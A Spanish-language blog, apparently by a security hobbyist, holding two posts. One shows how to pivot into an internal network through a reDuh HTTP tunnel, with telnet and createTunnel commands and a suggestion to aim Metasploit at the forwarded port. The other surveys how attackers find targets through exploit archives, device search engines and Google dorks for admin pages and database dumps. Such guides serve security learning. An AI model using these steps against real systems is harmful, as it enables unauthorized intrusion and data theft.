
telnet 127.0.0.1 1010

tendremos una consola con algunas opciones:
[createTunnel]
[usage]
[killReDuh]

Entoces, si utilizamos el comando "[createTunnel]" estaremos realizando una redirección del puerto de un servidor accesible desde el servidor-objetivo a través del puerto http por el que nos hemos conectado al servidor reDuh.

[createTunnel]2906:IPACCESSIBLESERVER:PORTTOREDIRECT



De esta forma, podremos hacer que si solo es accesible un puerto http de un servidor, a través de él, acceder al resto de su red interna, de los puertos de DNS, de los puertos NETBIOS, SSH, ORACLE, MySQL...

Por lo que el paso siguiente es conecarse a nuestra máquina al puerto en el que hemos creado el tunnel.

por ejemplo:
mysql -h 127.0.0.1 -p 3306

otra buena idea es lanzar metasploit contra este puerto y de esta manera lanzarlo hacia la máquina de la red interna objetivo.

Primera entrada!

Hoy empiezo con el blog, así que voy a intentar hacer algo que sea interesante, y probar de escribir las cosas tanto en castellano como en inglés..

Hay muchas cosas por las que se poría empezar a hablar,pero creo que la más interesante es la de saber por donde empezar a realizar una intrusión.

Un atacante, en muchas ocasiones, no tiene un objetivo fijo al que realizar una intrusión tan solo busca una o varias máquinas que le puedan servir para futuros ataques, para el envio de spam, para propagar troyanos y virus...
Existen diversos sitios web, que facilitan ese trabajo a personal malintencionado.

Podemos empezar por páginas donde encontrar vulnerabilidades y documentación, para realizar despues una búsqueda de equipos afectados y realizar de forma más fácil una intrusión.


una página con gran cantidad de exploits y documentos útiles, aunque últimamente un poco desactualizada.

Página que además de contener exploits, proporciona en algunos casos el software afectado para que se puedan realizar pruebas, podría ser la sucesora de milw0rm. Esta mantenida por los creadores de back-track.

Una vez que un atacante sabe que vulnerabilidad desea buscar, o si lo que desea buscar es un panel de control, un equipo específico, dispone de otras aplicaciones que le pueden proporcionar esta informacion.

Por ejemplo, existe esta aplicación:
que dispone de una gran cantidad de equipos indexados con la posibilidad de afinar la búsqueda por puertos, servicios...

por otro lado, también es posible buscar a través de www.google.com para encontrar aplicaciones o servidores a los que les puede afectar esa vulnerabilidad que deseamos explotar, o bien mostrarnos información.
Por ejemplo, si deseamos buscar listados de directorios "/admin":
o por ejemplo.. en lugar de tener que buscar acceso a una base de datos.. que tal si buscamos directamente un dump de la base de datos entera?

y bueno.. mucho más que se puede extraer de aquí: (de la google hacking database)

y hasta aquí llegamos para ir abriendo boca ^^